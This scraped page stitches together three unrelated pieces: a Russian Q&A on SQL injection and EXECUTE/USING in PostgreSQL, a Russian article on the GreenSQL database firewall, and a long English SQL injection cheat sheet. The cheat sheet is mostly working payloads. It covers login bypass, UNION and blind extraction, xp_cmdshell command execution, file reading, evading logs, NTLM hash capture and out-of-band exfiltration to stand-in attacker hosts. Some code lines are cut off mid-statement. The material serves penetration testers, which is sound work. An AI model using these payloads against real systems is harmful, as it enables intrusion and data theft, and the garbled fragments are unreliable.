SQL-инъекция в PostgreSQL


Оглавление (нажмите, чтобы открыть):

SQL-инъекция в PostgreSQL

62 просмотра

2 ответа

3555 Репутация автора

У нас есть функция, которая создает некоторый XML и использует EXECUTE / USING, чтобы попытаться предотвратить внедрение SQL. Это по направлениям:

Мне не очень нравится это из-за конкатенации. Было бы намного лучше, если бы мы могли это сделать, SELECT »’ » но это заканчивается буквальным значением 1 доллара, а не заменой его значением.

Из-за конкатенации меня интересует, нужно ли нам вообще предотвращать инъекции SQL. Это не чтение из таблицы, а создание строки XML, которая возвращается.

Есть ли реальный риск не использовать USING в этом случае? Сводит ли конкатенация $ 1 к отрицательному эффекту USING или вообще USING влияет на оператор, который не использует таблицу?

Ответы (2)

1 плюс

59769 Репутация автора

Здесь нет опасности для внедрения SQL, потому что вы используете USING .

Обратите внимание, что вы могли бы использовать статический SQL для достижения того же:

1 плюс

49838 Репутация автора

Здесь можно распаковать несколько вещей.

Во-первых, SQL у вас есть на самом деле фиксированная строка:

Так что здесь ничего нельзя вставить напрямую, потому что нет динамического SQL. Как указала Лоренц Альбе, SQL в этом конкретном примере может быть записан как нединамический оператор:

Здесь все еще нет SQL-инъекций, потому что вы не оцениваете содержимое t , просто манипулируете им как строкой, так же как SELECT a + 1 манипулируете a как числом.

Ключевым моментом является то, что фактический SQL является жестко запрограммированным, и конкатенация — это просто инструкция в этом SQL.

Обратите внимание, что этот похожий запрос был бы опасен (выделение синтаксиса дает ключ к разнице):

Здесь значение t используется как часть строки SQL — сначала происходит конкатенация, а затем выполняется результат. Таким образом, значение ‘1’; DROP TABLE users; —‘ приведет к запросу, SELECT ‘ который явно нежелателен.

Во-вторых, как объяснено в документации , параметр $1 является параметром , предоставленным USING предложением в качестве данных , поэтому он также защищен от внедрения SQL. Это похоже на использование параметризованного запроса на языке программирования вне базы данных — вы создаете запрос в виде строки, тщательно внося белый список в таблицы и столбцы, на которые ссылаетесь, а затем отдельно предоставляете переменные данные, где их нельзя интерпретировать как SQL. Или, другими словами, это похоже на другую функцию «на один уровень глубже», с параметрами, указанными в предложении USING, которые действуют так же, как параметры для реальной функции.

Наконец, хотя, предостережение: вы находитесь уязвимы для инъекций XML : если ничего не подтверждено или убежали t , вы можете создать недопустимый или опасный XML. Например, рассмотрим , что произойдет , если значение t было ‘foo> и результат в конечном итоге анализируется как HTML.

SQL-инъекция в PostgreSQL в целочисленном поле?

Я пытался https://server/shared/sendemail?sendto=» и получил этот ответ:

Если я добавлю случайный идентификатор пользователя, как в https://server/shared/sendemail?sendto=999 , сервер покажет это сообщение:

Мои вопросы, это пригодно для использования? Некоторые объяснения того, что происходит, было бы здорово.

1 ответ

Это не SQL инъекция , и его нельзя использовать напрямую, так как вы использовали именованный параметр ( :sendTo ) вместо прямой конкатенации строк.

Тем не менее, он действительно может быть использован, потому что злоумышленник может просто изменить идентификационный номер и заставить ваш сервер спамить другие учетные записи с помощью электронной почты.

Кроме того, в подобных случаях, когда клиент отправляет неверный тип ввода, будут появляться информационные сообщения об ошибках; злоумышленник теперь знает, что вы используете, например, PostgreSQL.

Как правило, передача входных данных непосредственно в SQL-запросы без проверки является очень рискованной практикой.

GreenSQL: Защита SQL-серверов от инъекций

Иногда возникает необходимость использовать клиент-серверное программное обеспечение, реализующее нужный функционал, но крайне уязвимое к SQL-инъекциям. В основном это веб-сайты, сетевые приложения и другие сервисы, доступ к которым открыт широкому кругу пользователей, в том числе и злоумышленникам. В силу различных причин не всегда есть возможность предотвратить SQL-инъекции на уровне приложения — исходный код может быть закрыт, либо, в случае открытого кода, недостаточно знаний для внесения в него изменений, либо эта операция является дорогостоящей.

Обеспечить безопасность приложения в данном случае поможет GreenSQL — файрволл или прокси для SQL-серверов. Сервис GreenSQL размещается между вашим приложением и SQL-сервером, принимает sql-запросы от приложения и в зависимости от степени его благонадежности либо перенаправляет их на целевой SQL-сервер, либо отвергает.

GreenSQL поддерживает СУБД Microsoft SQL 2000/2005/2008, MySQL 4.x/5.x, PostgreSQL 7.x/8.x и является кросс-платформенным. Среди официально поддерживаемых платформ Microsoft Windows Server 2003/2008, Ubuntu, CentOS. Поддерживаются 32-х и 64-х разрядные системы.

Что касается стоимости, существует несколько модификаций программы — бесплатная Express, Lite и Pro с ежемесячной оплатой. Основное отличие платных версий от бесплатной, если опустить техподдержку и автоматическое обновление, — возможность модифицировать запросы на лету и работа с безопасными SSL-соединениями.

Каждая из версий GreenSQL поддерживает несколько режимов работы.

Risk Based — IPS/IDS реализует базовый алгоритм идентификации потенциально опасных SQL-запросов. Т.е. GreenSQL производит семантический разбор запроса и по косвенным признакам определяет степень его благонадежности. Калькуляция степени опасности производится с учетом следующих параметров:

  • операции, изменяющие структуру таблиц
  • запросы к служебным таблицам и базам
  • запросы с использованием доступа к файловой системе
  • административные запросы, например, SHOW TABLES, SHOW CREATE TABLE
  • операции сравнения, всегда возвращающие ИСТИНУ, например, 1=1, field=field
  • комментарии внутри запроса
  • использование OR в запросе
  • операции над таблицами, содержащими личную информацию, например, users, accounts, payments
  • передача в запросе пустого пароля, например, password=», pwd=», passw=»

Необходимые заблокированные запросы можно добавить в список разрешенных (whitelist).

Database Firewall — активный режим защиты, который пропускает только запросы, находящиеся в списке разрешенных (whitelist).

Learning Mode — режим обучения, в ходе которого все запросы (вернее, шаблоны запросов) попадают в список разрешенных (whitelist). Таким образом, можно в режиме обучения прогнать в хвост и гриву свое приложение, чтобы он собрал базу «чистых» запросов, а затем включить «боевой» режим с блокировкой всех неизвестных запросов (Database Firewall + Active protection).

Настройки программы

GreenSQL запускается как сервис (демон). Управление настройками происходит через веб-интерфейс, расположенный по адресу 127.0.0.1:5000.

Логин/пароль по умолчанию admin/pwd

После авторизации вы попадаете на страницу статистики работы приложения. Перейдите в раздел System > License, и укажите лицензионный ключ, который вы найдете в письме со ссылкой для скачивания (для возможности скачивания необходима регистрация на сайте разработчика).

Для начала работы необходимо создать прокси. В бесплатной версии можно создать только один прокси. Для создания перейдите в раздел Databases > Create proxy.

  • Proxy name — название прокси для идентификации внутри GreenSQL
  • Database type — тип защищаемой СУБД
  • Username и Password — логин и пароль для авторизации в СУБД. Не является обязательным, но их указание помогает при дальнейшей настройке выбирать объекты БД из списка, а не вводить вручную
  • Frontend IP — на каком IP будет работать прокси (актуально в случае нескольких сетевых подключений на машине). 0.0.0.0 означает работу на всех сетевых интерфейсах
  • Frontend Port — на каком порту будет работать прокси. Именно этот порт необходимо использовать в своем приложении для подключения к СУБД
  • Backend server name — название защищаемой СУБД. Может быть любым, необходим для идентификации внутри GreenSQL (я пишу localhost)
  • Backend IP — IP-адрес, на котором работает защищаемая СУБД (например, 127.0.0.1)
  • Backend port — порт, на котором работает защищаемая СУБД (обычно, для MySQL — 3306, для MSSQL — 1433, для PostgreSQL — 5432)

После создания прокси он будет запущен на указанном порту. Теперь достаточно задать правила для работы прокси (Policy), чтобы начать использовать GreenSQL в своем приложении. В принципе, уже на этом этапе можно попробовать настроить свое приложение на работу с GreenSQL, правда, работать оно будет в «прозрачном» режиме.

  • Rule type — Тип правила (Learning mode, Database firewall, Risk based). В зависимости от того, какой тип выбран, изжменяются поля для заполнения.
  • Database — название защищаемой базы данных в СУБД
  • Proxy — прокси, на который распространяется правило
  • IPS/IDS (Mode) — является общим для всех типов правил.
    • No IPS/IDS — не использовать автоматическое распознавание атак
    • Active protection — блокировать потенциально опасные запросы
    • Monitoring — логировать и не блокировать потенциально опасные запросы

Теперь можно попробовать настроить свое приложение на использование GreenSQL.

Производительность

Тест производительности взят с официального сайта GreenSQL. Суть теста такова, что посредством Apache Bench производилось несколько замеров в 400 обращений и 10 конкурентными запросами. Результат тестов представлен на изображении.

GreenSQL поставляется с хорошей документацией по использованию. Здесь я не пытался ее перевести, а скорее, обозначил общее назначение и настройки базового функционала программы. Предыдущие версии GreenSQL (до 1.2, текущая — 1.5) распространялись под лицензией GPL.

КОНЬЯКОВ.ру

What is an SQL Injection Cheat Sheet?

An SQL injection cheat sheet is a resource in which you can find detailed technical information about the many different variants of the SQL Injection vulnerability. This cheat sheet is of good reference to both seasoned penetration tester and also those who are just getting started in web application security.

About the SQL Injection Cheat Sheet

This SQL injection cheat sheet was originally published in 2007 by Ferruh Mavituna on his blog. We have updated it and moved it over from our CEO’s blog. Currently this SQL Cheat Sheet only contains information for MySQL, Microsoft SQL Server, and some limited information for ORACLE and PostgreSQL SQL servers. Some of the samples in this sheet might not work in every situation because real live environments may vary depending on the usage of parenthesis, different code bases and unexpected, strange and complex SQL sentences.

Samples are provided to allow you to get basic idea of a potential attack and almost every section includes a brief information about itself.

M : MySQL
S : SQL Server
P : PostgreSQL
O : Oracle
+ : Possibly all other databases
Examples;
  • (MS) means : MySQL and SQL Server etc.
  • (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server

Table Of Contents

Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

Ending / Commenting Out / Line Comments

Line Comments

Comments out rest of the query.
Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.

Line Comments Sample SQL Injection Attacks
  • Username: admin’—
  • SELECT * FROM members WHERE username = ‘admin’—‘ AND password = ‘password’
    This is going to log you as admin user, because rest of the SQL query will be ignored.

Inline Comments

Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.

  • /*Comment Here*/ (SM)
    • DROP/*comment*/sampletable
    • DR/**/OP/*bypass blacklisting*/sampletable
    • SELECT/*avoid-spaces*/password/**/FROM/**/Members
  • /*! MYSQL Special SQL * / (M)
    This is a special comment syntax for MySQL. It’s perfect for detecting MySQL version. If you put a code into this comments it’s going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.

    SELECT /*!32302 1/0, */ 1 FROM tablename

Classical Inline Comment SQL Injection Attack Samples
  • ID: 10; DROP TABLE members /*
    Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members —

  • SELECT /*!32302 1/0, */ 1 FROM tablename
    Will throw an divison by 0 error if MySQL version is higher than3.23.02
MySQL Version Detection Sample Attacks
  • ID: /*! 32302 10*/
  • ID: 10
    You will get the same response if MySQL version is higher than 3.23.02
  • SELECT /*!32302 1/0, */ 1 FROM tablename
    Will throw a division by 0 error if MySQL version is higher than3.23.02

Stacking Queries

Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.

  • ; (S)
    SELECT * FROM members; DROP members—

Ends a query and starts a new one.

Language / Database Stacked Query Support Table

green: supported, dark gray: not supported, light gray: unknown

About MySQL and PHP;
To clarify some issues;
PHP — MySQL doesn’t support stacked queries, Java doesn’t support stacked queries (I’m sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it’s not possible to execute a second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?

Stacked SQL Injection Attack Samples
  • ID: 10;DROP members —
  • SELECT * FROM products WHERE >

This will run DROP members SQL sentence after normal SQL Query.

If Statements

Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly andaccurately.

MySQL If Statement

  • IF(condition,true-part,false-part) (M)
    SELECT IF(1=1,’true’,’false’)

SQL Server If Statement

  • IF conditiontrue-part ELSE false-part (S)
    IF (1=1) SELECT ‘true’ ELSE SELECT ‘false’

Oracle If Statement

  • BEGIN
    IF condition THEN true-part; ELSE false-part; END IF; END; (O)
    IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;

PostgreSQL If Statement

  • SELECT CASE WHEN condition THEN true-part ELSE false-part END; (P)
    SELECT CASE WEHEN (1=1) THEN ‘A’ ELSE ‘B’END;
If Statement SQL Injection Attack Samples

if ((select user) = ‘sa’ OR (select user) = ‘dbo’) select 1 else select 1/0 (S)
This will throw an divide by zero error if current logged user is not «sa» or «dbo».

Using Integers

Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.

    0xHEXNUMBER (SM)
    You can write hex like these;

SELECT CHAR(0x66) (S)
SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)
SELECT 0x50 + 0x45 (this is integer now!) (M)

String Operations

String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.

String Concatenation

  • + (S)
    SELECT login + ‘-‘ + password FROM members
  • || (*MO)
    SELECT login || ‘-‘ || password FROM members

*About MySQL «||»;
If MySQL is running in ANSI mode it’s going to work but otherwise MySQL accept it as `logical operator` it’ll return 0. A better way to do it is using CONCAT() function in MySQL.

  • CONCAT(str1, str2, str3, . ) (M)
    Concatenate supplied strings.
    SELECT CONCAT(login, password) FROM members

Strings without Quotes

These are some direct ways to using strings but it’s always possible to use CHAR() (MS) and CONCAT() (M) to generate string without quotes.

    0x457578 (M) — Hex Representation of string
    SELECT 0x457578
    This will be selected as string in MySQL.

In MySQL easy way to generate hex representations of strings use this;
SELECT CONCAT(‘0x’,HEX(‘c:\\boot.ini’))

  • Using CONCAT() in MySQL
    SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
    This will return ‘KLM’.
  • SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
    This will return ‘KLM’.
  • SELECT CHR(75)||CHR(76)||CHR(77) (O)
    This will return ‘KLM’.
  • SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)
    This will return ‘KLM’.
  • Hex based SQL Injection Samples

    • SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
      This will show the content of c:\boot.ini

    String Modification & Related

    • ASCII() (SMP)
      Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.

    SELECT ASCII(‘a’)
    CHAR() (SM)
    Convert an integer of ASCII.

    Union Injections

    With union you do SQL queries cross-table. Basically you can poison query to return records from another table.

    SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
    This will combine results from both news table and members table and return all of them.

    Another Example:
    ‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1—

    UNION – Fixing Language Issues

    While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It’s rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.

      SQL Server (S)
      Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one — check out SQL Server documentation.

    SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members

  • MySQL (M)
    Hex() for every possible issue
  • Bypassing Login Screens (SMO+)


    SQL Injection 101, Login tricks

    • admin’ —
    • admin’ #
    • admin’/*
    • ‘ or 1=1—
    • ‘ or 1=1#
    • ‘ or 1=1/*
    • ‘) or ‘1’=’1—
    • ‘) or (‘1’=’1—
    • ….
    • Login as different user (SM*)
      ‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1—

    *Old versions of MySQL doesn’t support union queries

    Bypassing second MD5 hash check login screens

    If application is first getting the record by username and then compare returned MD5 with supplied password’s MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.

    Bypassing MD5 Hash Check Example (MSP)

    Username : admin’ AND 1=0 UNION ALL SELECT ‘admin’, ’81dc9bdb52d04dc20036dbd8313ed055′
    Password : 1234

    Error Based — Find Columns Names

    Finding Column Names with HAVING BY — Error Based (S)

    In the same order,

    • ‘ HAVING 1=1 —
    • ‘ GROUP BY table.columnfromerror1 HAVING 1=1 —
    • ‘ GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 —
    • ‘ GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 — and so on
    • If you are not getting any more error then it’s done.

    Finding how many columns in SELECT query by ORDER BY (MSO+)

    Finding column number by ORDER BY can speed up the UNION SQL Injection process.

    • ORDER BY 1—
    • ORDER BY 2—
    • ORDER BY N— so on
    • Keep going until get an error. Error means you found the number of selected columns.

    Data types, UNION, etc.

    Hints,

    • Always use UNION with ALL because of image similar non-distinct field types. By default union tries to get records with distinct.
    • To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
    • Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
      • Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)

    Finding Column Type

    • ‘ union select sum(columntofind) from users— (S)
      Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
      [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.

    If you are not getting an error it means column is numeric.

  • Also you can use CAST() or CONVERT()
    • SELECT * FROM Table1 WHERE >
  • 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
    No Error — Syntax is right. MS SQL Server Used. Proceeding.
  • 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
    No Error – First column is an integer.
  • 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 —
    Error! – Second column is not an integer.
  • 11223344) UNION SELECT 1,’2′,NULL,NULL WHERE 1=2 –-
    No Error – Second column is a string.
  • 11223344) UNION SELECT 1,’2′,3,NULL WHERE 1=2 –-
    Error! – Third column is not an integer. …

    Microsoft OLE DB Provider for SQL Server error ‘80040e07’
    Explicit conversion from data type int to image is not allowed.

    You’ll get convert() errors before union target errors ! So start with convert() then union

    Simple Insert (MSO+)

    ‘; insert into users values( 1, ‘hax0r’, ‘coolpass’, 9 )/*

    Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes

    @@version (MS)
    Version of database and more details for SQL Server. It’s a constant. You can just select it like any other column, you don’t need to supply table name. Also, you can use insert, update statements or in functions.

    INSERT INTO members(id, user, pass) VALUES(1, »+SUBSTRING(@@version,1,10) ,10)

    Bulk Insert (S)

    Insert a file content to a table. If you don’t know internal path of web application you can read IIS (IIS 6 only) metabase file(%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.

    1. Create table foo( line varchar(8000) )
    2. bulk insert foo from ‘c:\inetpub\wwwroot\login.asp’
    3. Drop temp table, and repeat for another file.

    BCP (S)

    Write text file. Login Credentials are required to use this function.
    bcp «SELECT * FROM test..foo» queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

    VBS, WSH in SQL Server (S)

    You can use VBS, WSH scripting in SQL Server because of ActiveX support.

    declare @o int
    exec sp_oacreate ‘wscript.shell’, @o out
    exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’
    Username: ‘; declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’ —

    Executing system commands, xp_cmdshell (S)

    Well known trick, By default it’s disabled in SQL Server 2005. You need to have admin access.

    EXEC master.dbo.xp_cmdshell ‘cmd.exe dir c:’

    Simple ping check (configure your firewall or sniffer to identify request before launch it),

    EXEC master.dbo.xp_cmdshell ‘ping ‘

    You can not read results directly from error or union or something else.

    Some Special Tables in SQL Server (S)

    • Error Messages
      master..sysmessages
    • Linked Servers
      master..sysservers
    • Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )
      SQL Server 2000: masters..sysxlogins
      SQL Server 2005 : sys.sql_logins

    More Stored Procedures for SQL Server (S)

    1. Cmd Execute (xp_cmdshell)
      exec master..xp_cmdshell ‘dir’
    2. Registry Stuff (xp_regread)
      1. xp_regaddmultistring
      2. xp_regdeletekey
      3. xp_regdeletevalue
      4. xp_regenumkeys
      5. xp_regenumvalues
      6. xp_regread
      7. xp_regremovemultistring
      8. xp_regwrite
        exec xp_regread HKEY_LOCAL_MACHINE, ‘SYSTEM\CurrentControlSet\Services\lanmanserver\parameters’, ‘nullsessionshares’
        exec xp_regenumvalues HKEY_LOCAL_MACHINE, ‘SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities’
    3. Managing Services (xp_servicecontrol)
    4. Medias (xp_availablemedia)
    5. ODBC Resources (xp_enumdsn)
    6. Login mode (xp_loginconfig)
    7. Creating Cab Files (xp_makecab)
    8. Domain Enumeration (xp_ntsec_enumdomains)
    9. Process Killing (need PID) (xp_terminate_process)
    10. Add new procedure (virtually you can execute whatever you want)
      sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
      exec xp_webserver
    11. Write text file to a UNC or an internal path (sp_makewebtask)

    MSSQL Bulk Notes

    SELECT * FROM master..sysprocesses /*WHERE sp >

    DECLARE @result int; EXEC @result = xp_cmdshell ‘dir *.exe’;IF (@result = 0) SELECT 0 ELSE SELECT 1/0

    HOST_NAME()
    IS_MEMBER (Transact-SQL)
    IS_SRVROLEMEMBER (Transact-SQL)
    OPENDATASOURCE (Transact-SQL)

    You can not use sub selects in SQL Server Insert queries.


    SQL Injection in LIMIT (M) or ORDER (MSO)

    SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,’x’/*,10 ;

    If injection is in second limit you can comment it out or use in your union injection

    Shutdown SQL Server (S)

    When you’re really pissed off, ‘;shutdown —

    Enabling xp_cmdshell in SQL Server 2005

    By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.

    EXEC sp_configure ‘show advanced options’,1
    RECONFIGURE

    EXEC sp_configure ‘xp_cmdshell’,1
    RECONFIGURE

    Finding Database Structure in SQL Server (S)

    Getting User defined Tables

    SELECT name FROM sysobjects WHERE xtype = ‘U’

    Getting Column Names

    SELECT name FROM syscolumns WHERE )

    Moving records (S)

    • Modify WHERE and use NOT IN or NOT EXIST ,
      . WHERE users NOT IN (‘First User’, ‘Second User’)
      SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) — very good one
    • Using Dirty Tricks
      SELECT * FROM Product WHERE >

      Select p.name from (SELECT (SELECT COUNT(i. ) as p where p.x=21

    Fast way to extract data from Error Based SQL Injections in SQL Server (S)

    ‘;BEGIN DECLARE @rt varchar(8000) SET @rd=’:’ SELECT @rd=@rd+’ ‘+name FROM syscolumns WHERE ) AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;—

    Finding Database Structure in MySQL (M)

    Getting User defined Tables

    SELECT table_name FROM information_schema.tables WHERE table_schema = ‘tablename’

    Getting Column Names

    SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = ‘tablename’

    Finding Database Structure in Oracle (O)

    Getting User defined Tables

    SELECT * FROM all_tables WHERE OWNER = ‘DATABASE_NAME’

    Getting Column Names

    SELECT * FROM all_col_comments WHERE TABLE_NAME = ‘TABLE’

    Blind SQL Injections

    About Blind SQL Injections

    In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.

    Normal Blind, You can not see a response in the page, but you can still determine result of a query from response or HTTP status code
    Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common, though.

    In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY ‘0:0:10’ in SQL Server, BENCHMARK() and sleep(10) in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.

    Real and a bit Complex Blind SQL Injection Attack Sample

    This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.

    TRUE and FALSE flags mark queries returned true or false.

    TRUE : SELECT >78—

    FALSE : SELECT >103—

    TRUE : SELECT >FALSE : SELECT >89—

    TRUE : SELECT >FALSE : SELECT >83—

    TRUE : SELECT >FALSE : SELECT >80—

    FALSE : SELECT >

    Since both of the last 2 queries failed we clearly know table name’s first char’s ascii value is 80 which means first char is `P`. This is the way to exploit Blind SQL injections by binary search algorithm. Other well-known way is reading data bit by bit. Both can be effective in different conditions.

    Making Databases Wait / Sleep For Blind SQL Injection Attacks

    First of all use this if it’s really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.

    WAIT FOR DELAY ‘time’ (S)

    This is just like sleep, wait for specified time. CPU safe way to make database wait.

    WAITFOR DELAY ‘0:0:10’—

    Also, you can use fractions like this,

    WAITFOR DELAY ‘0:0:0.51’

    Real World Samples

    • Are we ‘sa’ ?
      if (select user) = ‘sa’ waitfor delay ‘0:0:10’
    • Product >1;waitfor delay ‘0:0:10’—
    • Product >1);waitfor delay ‘0:0:10’—
    • Product >1′;waitfor delay ‘0:0:10’—
    • Product >1′);waitfor delay ‘0:0:10’—
    • Product >1));waitfor delay ‘0:0:10’—
    • Product >1′));waitfor delay ‘0:0:10’—

    BENCHMARK() (M)

    Basically, we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!

    BENCHMARK(howmanytimes, do this)

    Real World Samples

    • Are we root ? woot!
      IF EXISTS (SELECT * FROM users WHERE username = ‘root’) BENCHMARK(1000000000,MD5(1))
    • Check Table exist in MySQL
      IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))

    pg_sleep(seconds) (P)

    Sleep for supplied seconds.

    • SELECT pg_sleep(10);
      Sleep 10 seconds.

    sleep(seconds) (M)

    Sleep for supplied seconds.

    • SELECT sleep(10);
      Sleep 10 seconds.

    dbms_pipe.receive_message (O)

    Sleep for supplied seconds.

    (SELECT CASE WHEN (NVL(ASCII(SUBSTR(( ),1,1)),0) = 100) THEN dbms_pipe.receive_message((‘xyz’),10) ELSE dbms_pipe.receive_message((‘xyz’),1) END FROM dual)

    = You want to run the query.

    If the condition is true, will response after 10 seconds. If is false, will be delayed for one second.

    Covering Your Tracks

    SQL Server -sp_password log bypass (S)

    SQL Server don’t log queries that includes sp_password for security reasons(!). So if you add —sp_password to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it’s possible)

    Clear SQL Injection Tests

    These tests are simply good for blind sql injection and silent attacks.

    1. product.asp? >
      1. product.asp? >
      2. product.asp? >


    2. product.asp?name=Book
      1. product.asp?name=Bo’%2b’ok
      2. product.asp?name=Bo’ || ‘ok (OM)
      3. product.asp?name=Book’ OR ‘x’=’x

    Extra MySQL Notes

    • Sub Queries are working only MySQL 4.1+
    • Users
      • SELECT User,Password FROM mysql.user;
    • SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)=’2′,BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;
    • SEL ECT . INTO DUMPFILE
      • Write quer y into a new file (can not modify existing files)
    • UDF Function
      • create function LockWorkStation returns integer soname ‘user32’;
      • select LockWorkStation();
      • create function ExitProcess returns integer soname ‘kernel32’;
      • select exitprocess();
    • SELECT USER();
    • SELECT password,USER() FROM mysql.user;
    • First byte of admin hash
      • SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
    • Read File
      • query.php?user=1+union+select+load_file(0x63. ),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
    • MySQL Load Data infile
      • By default it’s not available !
        • create table foo( line blob );
          load data infile ‘c:/boot.ini’ into table foo;
          select * from foo;
    • More Timing in MySQL
    • select benchmark( 500000, sha1( ‘test’ ) );
    • query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
    • select if( user() like ‘root@%’, benchmark(100000,sha1(‘test’)), ‘false’ );
      Enumeration data, Guessed Brute Force
      • select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1(‘test’)), ‘false’ );

    Potentially Useful MySQL Functions

    • MD5()
      MD5 Hashing
    • SHA1()
      SHA1 Hashing
    • PASSWORD()
    • ENCODE()
    • COMPRESS()
      Compress data, can be great in large binary reading in Blind SQL Injections.
    • ROW_COUNT()
    • SCHEMA()
    • VERSION()
      Same as @@version

    Second Order SQL Injections

    Basically, you put an SQL Injection to some place and expect it’s unfiltered in another action. This is common hidden layer problem.

    Name : ‘ + (SELECT TOP 1 password FROM users ) + ‘
    Email : xx@xx.com

    If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.

    Forcing SQL Server to get NTLM Hashes

    This attack can help you to get SQL Server user’s Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel.

    Bulk insert from a UNC Share (S)
    bulk insert foo from ‘\\YOURIPADDRESS\C$\x.txt’

    Check out Bulk Insert Reference to understand how can you use bulk insert.

    Out of Band Channel Attacks

    SQL Server

    • ?vulnerableParam=1; SELECT * FROM OPENROWSET(‘SQLOLEDB’, ()+’.yourhost.com’;’sa’;’pwd’, ‘SELECT 1’)
      Makes DNS resolution request to .yourhost.com
    • ?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = ‘\\’+()+’.yourhost.com\\test.txt’; EXEC master..xp_dirtree @q
      Makes DNS resolution request to .yourhost.com

    = You want to run the query.

    MySQL

    ?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat(‘\\\\’,(), ‘yourhost.com\\’)))
    Makes a NBNS query request/DNS resolution request to yourhost.com

    ?vulnerableParam=-99 OR (SELECT () INTO OUTFILE ‘\\\\yourhost.com\\share\\output.txt’)
    Writes data to your shared folder/file

    = You want to run the query.

    Oracle

    ?vulnerableParam=(SELECT UTL_HTTP.REQUEST(‘http://host/ sniff.php?sniff=’||()||») FROM DUAL)
    Sniffer application will save results

    ?vulnerableParam=(SELECT UTL_HTTP.REQUEST(‘http://host/ ‘||()||’.html’) FROM DUAL)
